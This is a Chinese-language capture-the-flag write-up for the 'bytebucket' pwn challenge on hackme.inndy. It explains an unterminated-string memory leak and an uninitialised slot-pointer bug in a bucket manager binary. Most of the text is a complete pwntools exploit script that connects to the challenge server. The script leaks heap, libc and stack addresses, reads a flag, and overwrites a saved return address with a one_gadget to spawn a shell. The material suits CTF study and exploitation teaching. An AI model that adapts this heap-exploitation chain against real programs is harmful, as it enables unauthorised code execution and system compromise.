hackme inndy bytebucket题目

题目链接:https://hackme.inndy.tw/scoreboard/ (随便输个名字登录即可看到题目列表)

下载bytebucket文件,checksec下:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

程序功能

基本功能是增删改查bucket,一个bucket对应多个slot。bucket结构体:

0x8字节      : 下一个bucket的地址
0x8字节      : slot_count
0x10字节     : bucket_name
0x8 * n字节  : n个slot地址

有下面几个操作:

1. Make bucket  插入一个bucket到buckets链中,给该bucket填充slot。这条bucktes链的链头地址存在0x203148处(g_bucket_head),在0x203140处存储当前指向的bucket(g_bucket_current)。
2. List bucket
3. Find bucket  通过bucket_name找到bucket,并用g_bucket_current指向该bucket
4. Next bucket  
5. Drop bucket
6. Open bucket  打开g_bucket_current指向的bucket,可打印、编辑、删除slot,重命名bucket
7. Sort bucket
8. Exit bucket

程序开始新建了两个bucket:

--- List of Buckets ---
Bucket[1]->name = "/root/locked";   // 这个bucket有个slot即第一个flag,第二个flag通过需shell来获取
Bucket[2]->name = "/home/ctf/flag";

漏洞点

  1. 在读取用户输入的字符串时,可以让其不在末尾拼接\x00(sub_EA8函数和sub_CBA函数),导致可以通过printf泄露出heap地址。如:输入0x10长度的bucket_name再List bucket输出可泄露堆地址;输入0x100长的字符可打印出g_bucket_current的值, 即泄露堆地址。
  2. make bucket操作:新建的bucket内存,并不清零,而当用户输入的slot大小为0时,其也不把slot地址置0,也就是如果在这个slot处我们先放入一个地址值,我们就可以通过操作这个slot来读写这个地址指向的内存。可以利用其泄露libc地址,泄露栈地址,达到UAF,覆盖某个bucket的下一个bucket的地址等。

pwn脚本

# -*-coding:utf-8-*-
from pwn import *
import pdb

# context.log_level = "debug"

def make_bucket(p, bucket_name, slot_datas):
    p.recvuntil("What to do >>")
    p.sendline("1")
    p.recvuntil("Size of bucket >>")
    p.sendline(str(len(slot_datas)))  # slot_count
    p.recvuntil("Name of bucket >>")
    p.sendline(bucket_name)
    
    for i in xrange(0, len(slot_datas)):
        p.recvuntil("Size of content >>")
        p.sendline(str(len(slot_datas[i])))
        if len(slot_datas[i]) > 0:
            p.recvuntil("Content of slot >>")
            p.send(slot_datas[i])


def find_bucket(p, bucket_name):
    p.recvuntil("What to do >>")
    p.sendline("3")
    p.recvuntil("Bucket name to find >>")
    p.sendline(bucket_name)


def drop_bucket(p):
    p.recvuntil("What to do >>")
    p.sendline("5")

## run using my libc.so
# env = {"FLAG1": "flag{flag1}"}
# p = process("./bytebucket2", env=env)
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

## 
# env = {"FLAG1": "flag{flag1}", "LD_PRELOAD" : "/root/pwnfile/inndy_libc-2.23.so.x86_64"}
# p = process("./bytebucket2", env=env)
p = remote("hackme.inndy.tw", 7722)
libc = ELF("/root/pwnfile/inndy_libc-2.23.so.x86_64")


# Step1: leak heap addr
make_bucket(p, "PPP", ['pppp'])  # 增加栈地址,避免要打印出的栈地址为0xXXXXXXXX00YY,打印该地址时会\x00截断,从而只输出0xYY
make_bucket(p, "QQQ", ['qqqq'])
find_bucket(p, "A" * 0x100)  # 会输入0x100个字符到0x203040,printf打印0x203040的值时就会打印出跟在它后面的0x203140处的值,即g_bucket_current的值
p.recvuntil("A" * 0x100)
addr_heap = u64(p.recvuntil('"', drop=True).ljust(8, "\x00"))
log.success("addr_heap: " + hex(addr_heap))
addr_flag1 = addr_heap - 0x100

# Step2: get flag1
payload = [p64(addr_flag1) * 0x30]  # 先在堆上布置flag1的地址
make_bucket(p, "AAA", payload)
drop_bucket(p)

make_bucket(p, "BBB", ["bbbb"])
make_bucket(p, "CCC", [""])  # let size of slot content be zero


p.recvuntil("What to do >>")
p.sendline("6")
p.recvuntil("What to do >>")
p.sendline("1")  # 打印CCC这个bucket的slot,该slot就是flag1的地址
p.recvuntil("Row[0]:")
flag1 = p.recvuntil("+---", drop=True)
log.success("flag1: " + flag1)
p.recvuntil("What to do >>")
p.sendline("5")


# Step3: leak libc addr
addr_free_chunk = addr_heap + 0x150
payload = [p64(addr_free_chunk) * 0x30]
make_bucket(p, "DDD", payload)
make_bucket(p, "EEE", ["eeee"])  # near top chunk

find_bucket(p, "DDD")
drop_bucket(p)
make_bucket(p, "FFF", ["ffff"])
make_bucket(p, "GGG", [""])  # let size of slot content be zero


p.recvuntil("What to do >>")
p.sendline("6")
p.recvuntil("What to do >>")
p.sendline("1")
p.recvuntil("Row[0]:")  # 打印CCC这个bucket的slot,该slot值指向一个unsorted bin chunk,打印该slot就泄露出unsorted bin地址,再计算出libc基址
addr_unsorted_bin = u64(p.recvuntil("+---", drop=True).strip().ljust(8, "\x00"))
log.success("addr_unsorted_bin: " + hex(addr_unsorted_bin))
addr_libc = addr_unsorted_bin - 0x3c3b78 # fix it. In my libc: 0x3c4b78
log.success("addr_libc: " + hex(addr_libc))
p.recvuntil("What to do >>")
p.sendline("5")

# at this moment, we have a unsorted bin chunk(size: 0x140)

# Step4: leak stack addr by environ
addr_environ = addr_libc + libc.symbols["environ"]
addr_system = addr_libc + libc.symbols["system"]

make_bucket(p, "HHH", [p64(addr_environ) * 0x20])
drop_bucket(p)
make_bucket(p, "III", ["iiii"])
make_bucket(p, "JJJ", [""])  # let size of slot content be zero

p.recvuntil("What to do >>")
p.sendline("6")
p.recvuntil("What to do >>")
p.sendline("1")
p.recvuntil("Row[0]:")
addr_stack = u64(p.recvuntil("+---", drop=True).strip().ljust(8, "\x00"))
log.success("addr_stack: " + hex(addr_stack))
p.recvuntil("What to do >>")
p.sendline("5")

# at this moment, we have a unsorted bin chunk(size: 0xc0)

# Step 5: modify ret to one_gadget
addr_ret = addr_stack - 0xf0
# 该one_gadget需满足[rsp+0x70] == NULL
addr_one_gadget = addr_libc + 0xf0897 # fix it. In my libc: 0xf1147
make_bucket(p, "KKK", ["k"] * 4)  # consume the unsorted bin chunk

make_bucket(p, "LLL", [p64(addr_ret) * 0x30])
make_bucket(p, "MMM", ["mmmm"])  # near top chunk

find_bucket(p, "LLL")
drop_bucket(p)

make_bucket(p, "NNN", ["nnnn"])
make_bucket(p, "OOO", [""])  # let size of slot content be zero

p.recvuntil("What to do >>")
p.sendline("6")
p.recvuntil("What to do >>")
p.sendline("2")  # edit data
p.recvuntil("Which line of data >>")
p.sendline("0")
p.recvuntil("Size of new content >>")
p.sendline("5")
p.recvuntil("New content >>")
p.send(p64(addr_one_gadget)[:5])
p.recvuntil("What to do >>")
p.sendline("5")


# Step 6: exit to execute one_gadget
p.recvuntil("What to do >>")
p.sendline("8")

p.interactive()

你可能感兴趣的:(hackme inndy bytebucket题目)